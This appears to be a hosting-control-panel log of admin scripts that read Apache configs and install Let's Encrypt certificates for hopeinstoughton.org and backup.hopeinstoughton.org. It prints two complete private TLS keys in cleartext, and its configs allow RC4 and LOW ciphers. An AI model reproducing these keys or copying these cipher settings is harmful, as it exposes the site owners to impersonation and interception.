AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-24 06:00:14: 

PUT: /tmp/pkp662996

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-24 06:00:14: 

chmod 755 /tmp/pkp662996; /tmp/pkp662996; rm /tmp/pkp662996

2026-04-24 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf	1690
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-04-24 06:00:14: 

PUT: /tmp/pkp233786

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-24 06:00:14: 

chmod 755 /tmp/pkp233786; /tmp/pkp233786; rm /tmp/pkp233786

2026-04-24 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt	5390
5e:c2:44:32:aa:bb:67:ca:1c:e1:0e:7a:a6:10:2c:cc

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBfIwWBBi9kJgbWtCDBTY6CiNMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI0MDUwMTQyWhcNMjYwNzIzMDUwMTQxWjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAvIy1pXfsfio303uT80PrO0Lm02nnCD6BjVbBlQYeHKg++dyB0FVOuXYS
mHVWAqPGZ/XUingF8ieTiExZ38m96aWYvwUf7p+/pxOW8DEciZAEnbHMAAREV/8v
UDY/n+igTp/DTsHj9bD/YmyfEbKLd1Di8w54qw01+reMIY/3Rr8i9XJW9H42Lg9w
TeSEXqJdWwwtCFKrF9IPeD47jroKJ73OUxsW+tEj9G6gPjt1bP2kCr4E2KL348+J
XaBOHLy6AKrCv96RImzcMhNuwJOHy4a0QRWU03C6hpAvJ6+EtOkik9aOuoDC3ljg
tYJ5ekSTcI+hadWujhdv9xYLjXutEQIDAQABo4ICOzCCAjcwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FNjgzaFkVEGkel6PIi8ROA5Ol8VzMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITaG9wZWluc3RvdWdodG9uLm9yZ4IXd3d3
LmhvcGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0f
BCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xNC5jcmwwggENBgor
BgEEAdZ5AgQCBIH+BIH7APkAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsU
wxRY5wAAAZ2+Ew1uAAAEAwBIMEYCIQCw8c5KsFBXx6ghWhWlk7WJMq0anhJEVSaO
+2X95R5IeAIhANup7vV2lvh7xYS7hKg3ydLYaqaPrwYC4+/TpdGY2ndzAH4ARq+G
PTs+5Z+ld96oJF02sNntIqIj9GF3QSKUUu6VUF8AAAGdvhMNggAIAAAFAAS4+BYE
AwBHMEUCIFaQr6ROm2pM2zfMe01kbDekvgQrfF2z/sRFXVbmAUemAiEAhhTW1EgH
Vt+Q34YYGRaenDvLNHCb2oedyTmwo1N7aF4wDQYJKoZIhvcNAQELBQADggEBANA6
BhzKfNGiBfD6xwDBzFSUxq9vIq8ioTmvoOE3GCbDu+/iOixr3HfWRIPLCQCCNRt9
GZNPbCxSF8AHd/SkAvoh8cuZcroUltN+FH+OBs/9d6W2jA6Q6YHK07t3hWk6z9P9
nT+6T7nWwUqNiq6WI7f6954YCDrsLzZlK70f0e2je4uevXTo7H9tN2T6vnyTxDvO
BkEXCITGqppMNHw9K5gxGf+D/myQd6JgH46NskomMES5UP6vQb7CIEM3+eqPT+7Z
UcvpXp5c8dYd4q5/b/tBSXwBWf1XI7uNuGB3ibna+Z9TNRSCNPtHF02Tu5EWOX/W
x+pJEPXDNaZsw2KsaRE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC8jLWld+x+KjfT
e5PzQ+s7QubTaecIPoGNVsGVBh4cqD753IHQVU65dhKYdVYCo8Zn9dSKeAXyJ5OI
TFnfyb3ppZi/BR/un7+nE5bwMRyJkASdscwABERX/y9QNj+f6KBOn8NOweP1sP9i
bJ8Rsot3UOLzDnirDTX6t4whj/dGvyL1clb0fjYuD3BN5IReol1bDC0IUqsX0g94
PjuOugonvc5TGxb60SP0bqA+O3Vs/aQKvgTYovfjz4ldoE4cvLoAqsK/3pEibNwy
E27Ak4fLhrRBFZTTcLqGkC8nr4S06SKT1o66gMLeWOC1gnl6RJNwj6Fp1a6OF2/3
FguNe60RAgMBAAECggEAAL0+C4TBkeMPfKNjHioZuipdJlBEJXOg1y3211UCpDZ0
bogEn2LBysIFI6ThrisUi1XpH7EwcMdUY1uw1IPWzfDe/SkuJkIwMMhV71N593Go
t2sdiM3Qz+QtEXp+v3mx9Begl+afCcpklQt7pNbzwLHyqA+hTAnw8Wdr0g9r02Dl
umQzjX5csukZpqRWLVd9TpAIy1hKRbMMwn2U566iH80/KW7tg5L55Kdml+xL9nNS
UVtntEN+jx7samz8cf36nvJSgoIg6xSXcv47QbJ/wSb6S0/D9hLl7+n6WxwnGRcv
h+YWDkqoY+69CToxVAkAEdDH4Q0GL+8nMCB9jgDVawKBgQD3pDra0u6awavhvWSD
N8Ns6IOkGWkq+ezPv3L67sjYn/9KEIkOilzRXDtHg6Tk+nocfKxa+Zm8BPuIU6AB
5uVSp/0BvEU9hXn5GkT+mJWTxV2hIylaSVytXAVP6IdWQ0B9CgHc2AQgXVu4f2G3
Q1HTDzUF7gaHKQfExIafAHOAkwKBgQDC6eQD72MGCQMS1ZdEK6++FMKhWlH/b3Bx
YxofGIO8QAbXfsI9vZ/AK9ykLqicp7MyTU6nteDWhJ9wcgx+KLAaNJdE+XFFH8oe
dLo1HKrAuophX0njWuSauH4YAUP7Y5f5wR73XJm7/HXMh0Q9JPa+PTFJkLe5c//F
mQ8o+SI2SwKBgQCuMSxhDixeWUrhMAqKrmfdrLQkcudiHojwHRfw4JQQpIK7g2QV
AUiGz9y20ifkFThd32iRWa9E7TBNVZ1gmRzIBnhWhyshOklw6oSLnaLhXdwdY5FL
+/yfyPHHoqXIDOhIzAhBYwWMCn9hCOEgOs9Mqg6/DA41dqwLQb38DCIy1wKBgGRB
A3wWrFtVVVRhsl1pDwr5CKcPmu+EtVRNAgmOhWvVju9WjrhNCZdBuEpmiWmSRHSS
GOvgfBY6vvuKXeyiJvpDpK7gkqdYU5DYv1JEPXvGNxkgdxPPE5iVXp4gQIRUVL4s
3C2lXpm3oCukQ7AjjBqLxQcuvaFRDfTn5klP444DAoGBAOWCZba4Ij05jD5Gks7a
FlIGzOtVFCCHTMtK0IiZ58dvtlHUpldukbbzahT2ah1vlzUW9sTgWAlqKkjQ0Nz5
/vrIPyu2UxnDHPBqk1CTIdXhYtG9GU13IgOFaF3fyR1lY/cIv41rBDzfHUQm1Jhe
tgEgzdpwXQZL1aWUmko7P6YK
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-24 06:00:15: Establishing a connection
2026-04-24 06:00:15: Establishing a connection
2026-04-24 06:00:15: 

PUT: /tmp/pkp758996

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-24 06:00:15: 

chmod 755 /tmp/pkp758996; /tmp/pkp758996; rm /tmp/pkp758996

2026-04-24 06:00:15: 


1


2026-04-24 06:00:16: Establishing a connection
2026-04-24 06:00:16: 

PUT: /tmp/pkp924536

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > 6HTUkVieOOLfW_Itnnt1EDl3ZSZbBKO4BfK5AycFiEM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
6HTUkVieOOLfW_Itnnt1EDl3ZSZbBKO4BfK5AycFiEM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6HTUkVieOOLfW_Itnnt1EDl3ZSZbBKO4BfK5AycFiEM


2026-04-24 06:00:16: 

chmod 755 /tmp/pkp924536; /tmp/pkp924536; rm /tmp/pkp924536

2026-04-24 06:00:16: 




2026-04-24 06:00:22: Establishing a connection
2026-04-24 06:00:23: 

PUT: /tmp/pkp508554

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
rm 6HTUkVieOOLfW_Itnnt1EDl3ZSZbBKO4BfK5AycFiEM


2026-04-24 06:00:23: 

chmod 755 /tmp/pkp508554; /tmp/pkp508554; rm /tmp/pkp508554

2026-04-24 06:00:23: 




2026-04-24 06:00:23: Establishing a connection
2026-04-24 06:00:23: 

PUT: /tmp/pkp129539

#!/bin/bash
temp_file=$(mktemp)
TARGET=4190d696888bea52996fb61a0a63827a.crt

cat > $temp_file <<'endmsg'
9d:92:c2:41:9c:a0:cd:05:15:69:93:01:fc:8b:27:7d

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBd8nnzG8viZuo3phxSBQ1GNvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI0MDUwMTUyWhcNMjYwNzIzMDUwMTUxWjAlMSMwIQYDVQQD
ExpiYWNrdXAuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALxJqmwH6J4WPU6xsYObPvSMnLAI9qh2hS4XptbLuUUQjx+k
O2SeUDgjhn1BgDU7C88NbWvY8GDJugOlM1ydwDUU/PeW2dd2SPTpL4xu9V6YgjQe
VjeOrqVnP6sFHzK+WT4jRFlAHomiWZNNCBoyQVh+3pPR1toGbbZZKwgCmw7VJF8V
DZ73BUVXlRaIeOXze5drYeM3H3vVVevtpb0NmnSVYe18FCKElBrWXKXv30Wfz9mo
/NJ4bYawz5GxhVCjQlNDSb3ZPoVdoL/TpIbA3oXUB8ahxTlljcEJ9LQk/zgNqJPl
ABS7Rcq3l10rMdiG5elO+Ki8X1pOm4RLLoS+lkUCAwEAAaOCAigwggIkMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBQcm3nVO/oKwsHUqCBAHtac+9ZLzTAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmJhY2t1cC5ob3BlaW5zdG91
Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCG
Hmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTEyLmNybDCCAQsGCisGAQQB1nkCBAIE
gfwEgfkA9wB2AMIxfldFGaNF7n843rKQQevHwiFaIr9/1bWtdprZDlLNAAABnb4T
MZcAAAQDAEcwRQIgGGuK6ZKqxBsIqWUPq6/1UozMAvNcjldHc1Uz9Or2FDICIQDp
+fnTSA96UhAPKqLGSH+7Zyyfm6iEJrFd5PICLGoRLgB9AEavhj07PuWfpXfeqCRd
NrDZ7SKiI/Rhd0EilFLulVBfAAABnb4TMjkACAAABQAEuPjUBAMARjBEAiAtvO+F
ydAYUU6sGYy6tuOQpS2hHldLA1NJw++eWainrQIgXah9lTqsY8mgetidLBOsrMA3
RVpQmUPkj89GTlDno4owDQYJKoZIhvcNAQELBQADggEBAELq7dfkoQI0kkbRpS0H
p96+Hsv2O3btdK0DUWlDzlVnqBBFA7Xkc6r+Qe841PulcrNu2tZ2gYH/czzp9R4X
Hj10CGrrQtsNDwNGZO3NK+WUIXzx/RfBma6IPR2FVOUhaneDdbNQnizuEnq7khe/
z0iVNc/JOUxuNYgUn7C2zftf0THOSchfnbfLANlQCvelrHexQq0l5o6fFEIEasc1
fAMkyKh6rJUYh3/BhyX6cMPpMZ9Rimj5QffAyaUn/R+h5tCMPbs0rkoNgGPQoFTl
IDmoxJNE3YCBa95bnu4EVxx9J6D36sHcZC1dn0t3FERWsNU4TI1UEjdkqoWPTrfs
c/4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC8SapsB+ieFj1O
sbGDmz70jJywCPaodoUuF6bWy7lFEI8fpDtknlA4I4Z9QYA1OwvPDW1r2PBgyboD
pTNcncA1FPz3ltnXdkj06S+MbvVemII0HlY3jq6lZz+rBR8yvlk+I0RZQB6JolmT
TQgaMkFYft6T0dbaBm22WSsIApsO1SRfFQ2e9wVFV5UWiHjl83uXa2HjNx971VXr
7aW9DZp0lWHtfBQihJQa1lyl799Fn8/ZqPzSeG2GsM+RsYVQo0JTQ0m92T6FXaC/
06SGwN6F1AfGocU5ZY3BCfS0JP84DaiT5QAUu0XKt5ddKzHYhuXpTviovF9aTpuE
Sy6EvpZFAgMBAAECggEAAlT0FLkkowJJ7fE2JTx3nFhxLTCnOoOYG++rMaX0ZYLJ
NCCdftUDYgjjvZPPKb4s0Z8jBWyMu9mPJh+xtoEjpC3MAaivQPpdQahfFOFfxLU3
iCmQ4H9ozU12i5wG/IdlHEL3sc1Fs4vzZQvVichfsYSF3LnMEL4tyBciwhRsd5zl
G7S8IvHwfRAc9zb98+h78TKiK4bajk/PxbuQueZzuw4IDRYbEsoo5/PU+wtQrE4m
wsOyQxQNTUOb+g3uXQpMGKs733VO6Ab47HOtxZxus5cwz7uIQ+mTBX751ipIUIci
dFtdTyXIrdRVPMfadWfNG6YwD363wDGYEMC7F+WZIQKBgQD0t5oICd9rCCPnzkjx
8RE0PFSm1+dIghbOl+q+bLkMTHZUmbZPsmsPkT0RiCPiG3mt/V05/ellqXcM/tWJ
nSFdhtL9lZ5gc1DNbY8nyOtJ9pEfOZZv+Igw/JIwYbMB0p/2010WjFp7ePP3TM5y
pCiTok4RO1CBNLSjgRS/gYYtdQKBgQDE+Abu4jshKoP8E4U/WFNPaLH0Mgg8+x2C
CtepDcSHjbDONUk4YkiFBS/VH+lSMnj5W1/fEB3+gURF2FiYjxgwPLulCsWq+yGL
nLHGEq7BAKmgry4p+DafI5ZTBeA1mVRU+rDiuZ7HJu6oV2QVYzFCNQWi+JB9i/py
jW0jXTWbkQKBgQCWeku6A7AhVZkWkk9ijpTApRR8n6h1eqDhmqLbQ2mqeV4N+ZMU
gKa6pNmDbU57W9+/sFtiLJMXU1SEZjMScs+wfhZBnn4L2vzlxSfRFAgyq+5i3/t0
kMPWM4kFPR5g0Y5RrXjBQ77jy+VgvRb5gZ394kDU8b84JBurqtUCSXgjfQKBgQDA
0Lggw2/0wKThb86Buxoa4zdJAG1WHNC/C5QgFq0rsUXCJyGdQ4EQToqLjKif4W7R
U2SffSyPhsVpxia8eV/JYLqkDs5/2UT2YZcZehJ+NwLWnIaJaUU3NeQjM95POeD3
K01bNTA8bl00iBAea7K9yB/TcJYpgIzT9KRA+S7QMQKBgG2q+oxXbfSPmK2UUZpd
VW0iPDbAT1Pv9S2iJFBq6Aksq3cgAYBYCv4FbnWI+qAq8ypkzfXBZU/Q/aSWaKUw
pW2K4T9aRCuk4aI6iyvZX9pcYTdSulpYWSP8fmGtqSy2B8hDgpOvDI7MT6a47+u/
MoM9nZ7yJmEzXg5Th/9Tw6dF
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-24 06:00:23: 

chmod 755 /tmp/pkp129539; /tmp/pkp129539; rm /tmp/pkp129539

2026-04-24 06:00:23: 


dir=/etc/ssl/certs


2026-04-24 06:00:23: 

PUT: /tmp/pkp721781

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-24 06:00:23: 

chmod 755 /tmp/pkp721781; /tmp/pkp721781; rm /tmp/pkp721781

2026-04-24 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf 50

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
